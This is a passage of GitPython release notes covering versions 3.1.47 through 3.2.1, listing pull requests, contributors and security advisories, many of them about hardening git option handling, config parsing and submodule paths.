[@&#8203;Keerthana-64](https://github.com/Keerthana-64) in [#&#8203;2271](https://github.com/gitpython-developers/GitPython/pull/2271) - fix: stop stalled remote commands when their timeout expires by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2277](https://github.com/gitpython-developers/GitPython/pull/2277) - fix(util): reject symbolic links that alias `.gitmodules` by [@&#8203;Keerthana-64](https://github.com/Keerthana-64) in [#&#8203;2278](https://github.com/gitpython-developers/GitPython/pull/2278) - fix: send one object name or path per git stdin record by [@&#8203;Keerthana-64](https://github.com/Keerthana-64) in [#&#8203;2279](https://github.com/gitpython-developers/GitPython/pull/2279) - fix(stats): preserve whitespace in filenames by [@&#8203;v1shay](https://github.com/v1shay) in [#&#8203;2280](https://github.com/gitpython-developers/GitPython/pull/2280) - fix(config): preserve exact large integer values by [@&#8203;xiehuanyi](https://github.com/xiehuanyi) in [#&#8203;2281](https://github.com/gitpython-developers/GitPython/pull/2281) - fix: resolve IterableList names independently of list attributes by [@&#8203;FanWu-ai](https://github.com/FanWu-ai) in [#&#8203;2283](https://github.com/gitpython-developers/GitPython/pull/2283) - fix relative blocking lock [`2026101`](https://github.com/gitpython-developers/GitPython/commit/20261011) by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2284](https://github.com/gitpython-developers/GitPython/pull/2284) #### New Contributors - [@&#8203;SashaMIT](https://github.com/SashaMIT) made their first contribution in [#&#8203;2261](https://github.com/gitpython-developers/GitPython/pull/2261) - [@&#8203;kokotatan](https://github.com/kokotatan) made their first contribution in [#&#8203;2269](https://github.com/gitpython-developers/GitPython/pull/2269) - [@&#8203;yunaremaia](https://github.com/yunaremaia) made their first contribution in [#&#8203;2270](https://github.com/gitpython-developers/GitPython/pull/2270) - [@&#8203;CrowZhen](https://github.com/CrowZhen) made their first contribution in [#&#8203;2272](https://github.com/gitpython-developers/GitPython/pull/2272) - [@&#8203;v1shay](https://github.com/v1shay) made their first contribution in [#&#8203;2280](https://github.com/gitpython-developers/GitPython/pull/2280) - [@&#8203;xiehuanyi](https://github.com/xiehuanyi) made their first contribution in [#&#8203;2281](https://github.com/gitpython-developers/GitPython/pull/2281) - [@&#8203;FanWu-ai](https://github.com/FanWu-ai) made their first contribution in [#&#8203;2283](https://github.com/gitpython-developers/GitPython/pull/2283) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.2.0...3.2.1> ### [`v3.2.0`](https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0): - Security [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.62...3.2.0) #### What's Changed - test: cover subdirectory discovery and pathspec commands in bare-repository worktrees by [@&#8203;christianvuerings](https://github.com/christianvuerings) in [#&#8203;2228](https://github.com/gitpython-developers/GitPython/pull/2228) - Read git's yes/no and on/off booleans in get_value by [@&#8203;rawsun007](https://github.com/rawsun007) in [#&#8203;2229](https://github.com/gitpython-developers/GitPython/pull/2229) - Clarify detached HEAD access and isolate test branch state by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2231](https://github.com/gitpython-developers/GitPython/pull/2231) - Reject submodule move destinations through intermediate symlinks by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2232](https://github.com/gitpython-developers/GitPython/pull/2232) - fix: validate checkout positional reference options by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2233](https://github.com/gitpython-developers/GitPython/pull/2233) - Fix timeout child-process lookup on non-GNU systems by [@&#8203;aprylewu](https://github.com/aprylewu) in [#&#8203;2236](https://github.com/gitpython-developers/GitPython/pull/2236) - Preserve implicit boolean config keys by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2238](https://github.com/gitpython-developers/GitPython/pull/2238) - Reject comments after implicit boolean config keys by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2239](https://github.com/gitpython-developers/GitPython/pull/2239) - Fix case-insensitive Git config name matching by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2241](https://github.com/gitpython-developers/GitPython/pull/2241) - Move project metadata to pyproject.toml by [@&#8203;mwtoews](https://github.com/mwtoews) in [#&#8203;2242](https://github.com/gitpython-developers/GitPython/pull/2242) - Move \[doc] extra to a PEP 735 dependency group; add uv-sync CI check by [@&#8203;mwtoews](https://github.com/mwtoews) in [#&#8203;2243](https://github.com/gitpython-developers/GitPython/pull/2243) - fix: strip inline config comments the way git does by [@&#8203;rawsun007](https://github.com/rawsun007) in [#&#8203;2245](https://github.com/gitpython-developers/GitPython/pull/2245) - Drop Python 3.7 by [@&#8203;mwtoews](https://github.com/mwtoews) in [#&#8203;2246](https://github.com/gitpython-developers/GitPython/pull/2246) - fix: preserve positional operands in high-level Git commands by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2247](https://github.com/gitpython-developers/GitPython/pull/2247) - submodule: option to update without fetching by [@&#8203;jeffro256](https://github.com/jeffro256) in [#&#8203;2244](https://github.com/gitpython-developers/GitPython/pull/2244) - bump minor version to indicate drop of python 3.7 support by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2248](https://github.com/gitpython-developers/GitPython/pull/2248) - fix: skip a UTF-8 BOM when reading config files by [@&#8203;geek-alpha](https://github.com/geek-alpha) in [#&#8203;2249](https://github.com/gitpython-developers/GitPython/pull/2249) - fix: complete safety checks in Git command wrappers by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2251](https://github.com/gitpython-developers/GitPython/pull/2251) - build(deps): bump astral-sh/setup-uv from 10.1.0 to 10.2.0 by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2252](https://github.com/gitpython-developers/GitPython/pull/2252) - fix: bound actor and date parsing by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2253](https://github.com/gitpython-developers/GitPython/pull/2253) - fix(repo): preserve literal separate Git directory paths by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2255](https://github.com/gitpython-developers/GitPython/pull/2255) - fix: validate object types when loading binary SHAs by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2256](https://github.com/gitpython-developers/GitPython/pull/2256) - fix(commit): bound co_authors trailer parsing by [@&#8203;Keerthana-64](https://github.com/Keerthana-64) in [#&#8203;2257](https://github.com/gitpython-developers/GitPython/pull/2257) - various fixes by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2258](https://github.com/gitpython-developers/GitPython/pull/2258) - fix(config): bound option-line parsing by [@&#8203;radhika1314](https://github.com/radhika1314) in [#&#8203;2259](https://github.com/gitpython-developers/GitPython/pull/2259) #### New Contributors - [@&#8203;christianvuerings](https://github.com/christianvuerings) made their first contribution in [#&#8203;2228](https://github.com/gitpython-developers/GitPython/pull/2228) - [@&#8203;rawsun007](https://github.com/rawsun007) made their first contribution in [#&#8203;2229](https://github.com/gitpython-developers/GitPython/pull/2229) - [@&#8203;aprylewu](https://github.com/aprylewu) made their first contribution in [#&#8203;2236](https://github.com/gitpython-developers/GitPython/pull/2236) - [@&#8203;mwtoews](https://github.com/mwtoews) made their first contribution in [#&#8203;2242](https://github.com/gitpython-developers/GitPython/pull/2242) - [@&#8203;jeffro256](https://github.com/jeffro256) made their first contribution in [#&#8203;2244](https://github.com/gitpython-developers/GitPython/pull/2244) - [@&#8203;geek-alpha](https://github.com/geek-alpha) made their first contribution in [#&#8203;2249](https://github.com/gitpython-developers/GitPython/pull/2249) - [@&#8203;Keerthana-64](https://github.com/Keerthana-64) made their first contribution in [#&#8203;2257](https://github.com/gitpython-developers/GitPython/pull/2257) - [@&#8203;radhika1314](https://github.com/radhika1314) made their first contribution in [#&#8203;2259](https://github.com/gitpython-developers/GitPython/pull/2259) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.62...3.2.0> ### [`v3.1.62`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.62) [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.61...3.1.62) #### What's Changed - prepare next release by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2222](https://github.com/gitpython-developers/GitPython/pull/2222) - Keep bare-repository worktrees non-bare by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2224](https://github.com/gitpython-developers/GitPython/pull/2224) - Reject unsafe submodule checkout paths by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2225](https://github.com/gitpython-developers/GitPython/pull/2225) - build(deps): bump <https://github.com/astral-sh/ruff-pre-commit> from v0.16.0 to 0.16.5 in the pre-commit group by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2226](https://github.com/gitpython-developers/GitPython/pull/2226) - fix: join backslash line continuations when reading config values by [@&#8203;nkbeast](https://github.com/nkbeast) in [#&#8203;2227](https://github.com/gitpython-developers/GitPython/pull/2227) #### New Contributors - [@&#8203;nkbeast](https://github.com/nkbeast) made their first contribution in [#&#8203;2227](https://github.com/gitpython-developers/GitPython/pull/2227) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.61...3.1.62> ### [`v3.1.61`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.61) [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.60...3.1.61) Fix accidental removal of exploitable regex in `Actor` by bringing it back, and deprecating it. #### What's Changed - Fix repository discovery precedence by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2218](https://github.com/gitpython-developers/GitPython/pull/2218) - fix: wait for git daemon to listen before connecting by [@&#8203;Vogtinator](https://github.com/Vogtinator) in [#&#8203;2219](https://github.com/gitpython-developers/GitPython/pull/2219) - fix: restore Actor.name_email_regex by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2221](https://github.com/gitpython-developers/GitPython/pull/2221) #### New Contributors - [@&#8203;Vogtinator](https://github.com/Vogtinator) made their first contribution in [#&#8203;2219](https://github.com/gitpython-developers/GitPython/pull/2219) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.60...3.1.61> ### [`v3.1.60`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.60): Security [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.59...3.1.60) #### What's Changed - prepare changelog prior to release by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2212](https://github.com/gitpython-developers/GitPython/pull/2212) - Preserve Git config escape semantics by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2213](https://github.com/gitpython-developers/GitPython/pull/2213) - Harden diff path and actor identity parsing by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2215](https://github.com/gitpython-developers/GitPython/pull/2215) - Require explicit opt-in for filesystem diffs by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2217](https://github.com/gitpython-developers/GitPython/pull/2217) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.59...3.1.60> ### [`v3.1.59`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59): - Security [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.58...3.1.59) #### What's Changed - prepare changelog for upcoming release by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2207](https://github.com/gitpython-developers/GitPython/pull/2207) - Block file-reading Git options by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2208](https://github.com/gitpython-developers/GitPython/pull/2208) - index: write blobs via git hash-object, not gitdb's odb.store by [@&#8203;caroescm](https://github.com/caroescm) in [#&#8203;2209](https://github.com/gitpython-developers/GitPython/pull/2209) - Block separate git directories during clone by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2210](https://github.com/gitpython-developers/GitPython/pull/2210) - fix: harden config parsing boundaries by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2211](https://github.com/gitpython-developers/GitPython/pull/2211) - `repo.index.add()` now respects worktree filters [#&#8203;2209](https://github.com/gitpython-developers/GitPython/pull/2209) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.58...3.1.59> ### [`v3.1.58`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58): - Security and Fixes [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.57...3.1.58) #### What's Changed - test: allow Python startup before timeout by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2195](https://github.com/gitpython-developers/GitPython/pull/2195) - Resolve Windows hook Bash through PATH by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2199](https://github.com/gitpython-developers/GitPython/pull/2199) - Revert "Resolve Windows hook Bash through PATH" by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2200](https://github.com/gitpython-developers/GitPython/pull/2200) - test: focus pytest summary on unexpected failures by [@&#8203;raisulchowdhury](https://github.com/raisulchowdhury) in [#&#8203;2203](https://github.com/gitpython-developers/GitPython/pull/2203) - Validate submodule names before filesystem operations by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2202](https://github.com/gitpython-developers/GitPython/pull/2202) - Handle invalid submodule names during recursive updates by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2205](https://github.com/gitpython-developers/GitPython/pull/2205) - Fix Windows path handling on Python 3.13+ by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2196](https://github.com/gitpython-developers/GitPython/pull/2196) - fixup 2202 by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2206](https://github.com/gitpython-developers/GitPython/pull/2206) - Correct Windows hook Bash precedence by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2201](https://github.com/gitpython-developers/GitPython/pull/2201) - Harden config and Git option validation by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2204](https://github.com/gitpython-developers/GitPython/pull/2204) - Skip tests that need symlink privileges instead of erroring by [@&#8203;Cyrus580529](https://github.com/Cyrus580529) in [#&#8203;2197](https://github.com/gitpython-developers/GitPython/pull/2197) #### New Contributors - [@&#8203;raisulchowdhury](https://github.com/raisulchowdhury) made their first contribution in [#&#8203;2203](https://github.com/gitpython-developers/GitPython/pull/2203) - [@&#8203;Cyrus580529](https://github.com/Cyrus580529) made their first contribution in [#&#8203;2197](https://github.com/gitpython-developers/GitPython/pull/2197) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.57...3.1.58> ### [`v3.1.57`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.57): - Security and Fixes [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.56...3.1.57) #### What's Changed - Merge gitdb and smmap into the GitPython repository by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2179](https://github.com/gitpython-developers/GitPython/pull/2179) - build(deps): bump actions/setup-python from 6 to 7 by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2185](https://github.com/gitpython-developers/GitPython/pull/2185) - build(deps): bump the pre-commit group with 2 updates by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2186](https://github.com/gitpython-developers/GitPython/pull/2186) - Bump Vampire/setup-wsl from 6.0.0 to 7.0.0 by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2124](https://github.com/gitpython-developers/GitPython/pull/2124) - Render protected Traversable methods in the reference by [@&#8203;pick7](https://github.com/pick7) in [#&#8203;2192](https://github.com/gitpython-developers/GitPython/pull/2192) - Use standard prefixes for parsed patch diffs by [@&#8203;pick7](https://github.com/pick7) in [#&#8203;2191](https://github.com/gitpython-developers/GitPython/pull/2191) - Honor kill_after_timeout with output streams by [@&#8203;pick7](https://github.com/pick7) in [#&#8203;2189](https://github.com/gitpython-developers/GitPython/pull/2189) - Redact Authorization extra headers from command errors by [@&#8203;pick7](https://github.com/pick7) in [#&#8203;2188](https://github.com/gitpython-developers/GitPython/pull/2188) - Improve RemoteProgress parse return typing by [@&#8203;pick7](https://github.com/pick7) in [#&#8203;2187](https://github.com/gitpython-developers/GitPython/pull/2187) - Adopt basedpyright with a legacy baseline by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2194](https://github.com/gitpython-developers/GitPython/pull/2194) - Block unsafe Git file and URL options by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2193](https://github.com/gitpython-developers/GitPython/pull/2193) #### New Contributors - [@&#8203;pick7](https://github.com/pick7) made their first contribution in [#&#8203;2192](https://github.com/gitpython-developers/GitPython/pull/2192) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.56...3.1.57> ### [`v3.1.56`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.56): - SECURITY [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.55...3.1.56) #### What's Changed - Add support for Python 3.15 by [@&#8203;hugovk](https://github.com/hugovk) in [#&#8203;2183](https://github.com/gitpython-developers/GitPython/pull/2183) - fix: reject unsafe output options in Commit.count by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2184](https://github.com/gitpython-developers/GitPython/pull/2184) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.55...3.1.56> ### [`v3.1.55`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55): - Security [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55) #### What's Changed - fix: prevent environment expansion in remote URLs by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2181](https://github.com/gitpython-developers/GitPython/pull/2181) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55> ### [`v3.1.54`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54): - Security [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54) #### What's Changed - Harden unsafe Git option validation by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2180](https://github.com/gitpython-developers/GitPython/pull/2180) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54> ### [`v3.1.53`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.53): - Security [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.52...3.1.53) #### What's Changed - feat(submodule): add deinit method to Submodule ([#&#8203;2014](https://github.com/gitpython-developers/GitPython/issues/2014)) by [@&#8203;mvanhorn](https://github.com/mvanhorn) in [#&#8203;2129](https://github.com/gitpython-developers/GitPython/pull/2129) - typing: introduce sensible basedpyright defaults by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2174](https://github.com/gitpython-developers/GitPython/pull/2174) - fix: make `submodule.update()` after `submodule.deinit()` work by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2175](https://github.com/gitpython-developers/GitPython/pull/2175) - Fix commit hooks respecting core.hooksPath by [@&#8203;Siesta0217](https://github.com/Siesta0217) in [#&#8203;2159](https://github.com/gitpython-developers/GitPython/pull/2159) - fix: validate config section delimiters by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2176](https://github.com/gitpython-developers/GitPython/pull/2176) #### New Contributors - [@&#8203;Siesta0217](https://github.com/Siesta0217) made their first contribution in [#&#8203;2159](https://github.com/gitpython-developers/GitPython/pull/2159) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.52...3.1.53> ### [`v3.1.52`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52): Security [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.51...3.1.52) <https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573>: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL #### What's Changed - Skip cross-drive relative config test on Windows by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2171](https://github.com/gitpython-developers/GitPython/pull/2171) - fix: preserve literal clone URLs by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2172](https://github.com/gitpython-developers/GitPython/pull/2172) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.51...3.1.52> ### [`v3.1.51`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51): - Security [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.50...3.1.51) #### What's Changed - Add AI-disclosure and quality requirements to the contribution guidelines by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2143](https://github.com/gitpython-developers/GitPython/pull/2143) - docs(cmd): clarify Git.execute() string vs list command argument by [@&#8203;mvanhorn](https://github.com/mvanhorn) in [#&#8203;2144](https://github.com/gitpython-developers/GitPython/pull/2144) - Rewrite Git.execute() command parameter docstring per [#&#8203;2146](https://github.com/gitpython-developers/GitPython/issues/2146) by [@&#8203;EliahKagan](https://github.com/EliahKagan) in [#&#8203;2147](https://github.com/gitpython-developers/GitPython/pull/2147) - Document init script behavior with multiple master remotes by [@&#8203;EliahKagan](https://github.com/EliahKagan) in [#&#8203;2148](https://github.com/gitpython-developers/GitPython/pull/2148) - Bump git/ext/gitdb from `335c0f6` to `0a019a2` by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2149](https://github.com/gitpython-developers/GitPython/pull/2149) - Support relative worktree paths (git 2.48+ worktree.useRelativePaths) by [@&#8203;elovelan](https://github.com/elovelan) in [#&#8203;2151](https://github.com/gitpython-developers/GitPython/pull/2151) - Defer xfail condition evaluation with xfail_if_raises context manager by [@&#8203;elovelan](https://github.com/elovelan) in [#&#8203;2153](https://github.com/gitpython-developers/GitPython/pull/2153) - Run more submodule tests on Cygwin (fix flaky xfails) by [@&#8203;EliahKagan](https://github.com/EliahKagan) in [#&#8203;2154](https://github.com/gitpython-developers/GitPython/pull/2154) - Cut xtrace noise from POSIX-ownership diagnostic steps by [@&#8203;EliahKagan](https://github.com/EliahKagan) in [#&#8203;2156](https://github.com/gitpython-developers/GitPython/pull/2156) - Support index diffs against the empty tree by [@&#8203;puneetdixit200](https://github.com/puneetdixit200) in [#&#8203;2155](https://github.com/gitpython-developers/GitPython/pull/2155) - refactor: seperate out Progress type by [@&#8203;LoeschMaximilian](https://github.com/LoeschMaximilian) in [#&#8203;2157](https://github.com/gitpython-developers/GitPython/pull/2157) - Bump <https://github.com/astral-sh/ruff-pre-commit> from v0.15.12 to 0.15.15 in the pre-commit group by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2160](https://github.com/gitpython-developers/GitPython/pull/2160) - Bump actions/checkout from 6 to 7 by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2164](https://github.com/gitpython-developers/GitPython/pull/2164) - Bump git/ext/gitdb from `0a019a2` to `4950ea9` by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2165](https://github.com/gitpython-developers/GitPython/pull/2165) - Bump <https://github.com/astral-sh/ruff-pre-commit> from v0.15.15 to 0.15.20 in the pre-commit group by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2166](https://github.com/gitpython-developers/GitPython/pull/2166) - Add Commit.is_shallow property; document stats() limitation at shallow boundary by [@&#8203;harshitayadavv](https://github.com/harshitayadavv) in [#&#8203;2167](https://github.com/gitpython-developers/GitPython/pull/2167) - Allow relative config paths with includes by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2169](https://github.com/gitpython-developers/GitPython/pull/2169) - Reject abbreviated forms of unsafe git options by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2168](https://github.com/gitpython-developers/GitPython/pull/2168) - guard unsafe git command options by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2163](https://github.com/gitpython-developers/GitPython/pull/2163) #### New Contributors - [@&#8203;elovelan](https://github.com/elovelan) made their first contribution in [#&#8203;2151](https://github.com/gitpython-developers/GitPython/pull/2151) - [@&#8203;puneetdixit200](https://github.com/puneetdixit200) made their first contribution in [#&#8203;2155](https://github.com/gitpython-developers/GitPython/pull/2155) - [@&#8203;LoeschMaximilian](https://github.com/LoeschMaximilian) made their first contribution in [#&#8203;2157](https://github.com/gitpython-developers/GitPython/pull/2157) - [@&#8203;harshitayadavv](https://github.com/harshitayadavv) made their first contribution in [#&#8203;2167](https://github.com/gitpython-developers/GitPython/pull/2167) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.50...3.1.51> ### [`v3.1.50`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.50) [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.49...3.1.50) #### What's Changed - Bump <https://github.com/astral-sh/ruff-pre-commit> from v0.15.8 to 0.15.12 in the pre-commit group by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2140](https://github.com/gitpython-developers/GitPython/pull/2140) - Bump git/ext/gitdb from `335c0f6` to `53c94d6` by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2141](https://github.com/gitpython-developers/GitPython/pull/2141) - Fix Repo() autodiscovery in linked worktrees when GIT_DIR is set by [@&#8203;meliezer](https://github.com/meliezer) in [#&#8203;2128](https://github.com/gitpython-developers/GitPython/pull/2128) - Validate config key names before writing by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2142](https://github.com/gitpython-developers/GitPython/pull/2142) #### New Contributors - [@&#8203;meliezer](https://github.com/meliezer) made their first contribution in [#&#8203;2128](https://github.com/gitpython-developers/GitPython/pull/2128) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.49...3.1.50> ### [`v3.1.49`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49): - Security [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.48...3.1.49) #### What's Changed - reject control chars in written values in configuration by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2137](https://github.com/gitpython-developers/GitPython/pull/2137) - Improve pure Python rev-parse coverage and behavior by [@&#8203;Copilot](https://github.com/Copilot) in [#&#8203;2136](https://github.com/gitpython-developers/GitPython/pull/2136) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.48...3.1.49> ### [`v3.1.48`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48): - Security [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.47...3.1.48) Accidentally deleted the previous GH release, it did mention the advisory this fixes. #### What's Changed - prevent out-of-repo access when manipulating references. by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2134](https://github.com/gitpython-developers/GitPython/pull/2134) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.47...3.1.48> ### [`v3.1.47`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47): - with security fixes [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47) #### Advisories - <https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4> - <https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485> #### What's Changed - Prepare next release by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2095](https://github.com/gitpython-developers/GitPython/pull/2095) - Bump git/ext/gitdb from `335c0f6` to `4c63ee6` by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2096](https://github.com/gitpython-developers/GitPython/pull/2096) - DOC: README Add urls and updated a relative url by [@&#8203;Timour-Ilyas](https://github.com/Timour-Ilyas) in [#&#8203;2098](https://github.com/gitpython-developers/GitPython/pull/2098) - Fix GitConfigParser ignoring multiple \[include] path entries by [@&#8203;daniel7an](https://github.com/daniel7an) in [#&#8203;2100](https://github.com/gitpython-developers/GitPython/pull/2100) - Switch back from Alpine to Debian for WSL by [@&#8203;EliahKagan](https://github.com/EliahKagan) in [#&#8203;2108](https://github.com/gitpython-developers/GitPython/pull/2108) - Bump git/ext/gitdb from `4c63ee6` to `5c1b303` by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2106](https://github.com/gitpython-developers/GitPython/pull/2106) - Run `gc.collect()` twice in `test_rename` on Python 3.12 by [@&#8203;EliahKagan](https://github.com/EliahKagan) in [#&#8203;2109](https://github.com/gitpython-developers/GitPython/pull/2109) - fix: guard AutoInterrupt terminate during interpreter shutdown by [@&#8203;lweyrich1](https://github.com/lweyrich1) in [#&#8203;2105](https://github.com/gitpython-developers/GitPython/pull/2105) - Improve CI infrastructure for pre-commit by [@&#8203;EliahKagan](https://github.com/EliahKagan) in [#&#8203;2110](https://github.com/gitpython-developers/GitPython/pull/2110) - Bump the pre-commit group with 5 updates by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2111](https://github.com/gitpython-developers/GitPython/pull/2111) - Upgrade Sphinx for 3.14 support; drop doc build support on 3.8; test 3.14 by [@&#8203;EliahKagan](https://github.com/EliahKagan) in [#&#8203;2112](https://github.com/gitpython-developers/GitPython/pull/2112) - Fix `Repo.active_branch` resolution for reftable-backed repositories by [@&#8203;Copilot](https://github.com/Copilot) in [#&#8203;2114](https://github.com/gitpython-developers/GitPython/pull/2114) - docs: warn about GitDB performance with large commits by [@&#8203;mvanhorn](https://github.com/mvanhorn) in [#&#8203;2115](https://github.com/gitpython-developers/GitPython/pull/2115) - cmd: fix kwarg formatting in docstring example by [@&#8203;UweSchwaeke](https://github.com/UweSchwaeke) in [#&#8203;2117](https://github.com/gitpython-developers/GitPython/pull/2117) - Bump <https://github.com/astral-sh/ruff-pre-commit> from v0.15.5 to 0.15.8 in the pre-commit group by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2122](https://github.com/gitpython-developers/GitPython/pull/2122) - Add trailer support for commit creation by [@&#8203;Krishnachaitanyakc](https://github.com/Krishnachaitanyakc) in [#&#8203;2116](https://github.com/gitpython-developers/GitPython/pull/2116) - Harden commit trailer subprocess handling and align trailer I/O paths by [@&#8203;Copilot](https://github.com/Copilot) in [#&#8203;2125](https://github.com/gitpython-developers/GitPython/pull/2125) - git.cmd.Git.execute(..): fix `with_stdout=False` by [@&#8203;ngie-eign](https://github.com/ngie-eign) in [#&#8203;2126](https://github.com/gitpython-developers/GitPython/pull/2126) - Make sure that multi-options are checked after splitting them with `shlex` by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2130](https://github.com/gitpython-developers/GitPython/pull/2130) - Block unsafe underscored git kwargs / Fix for 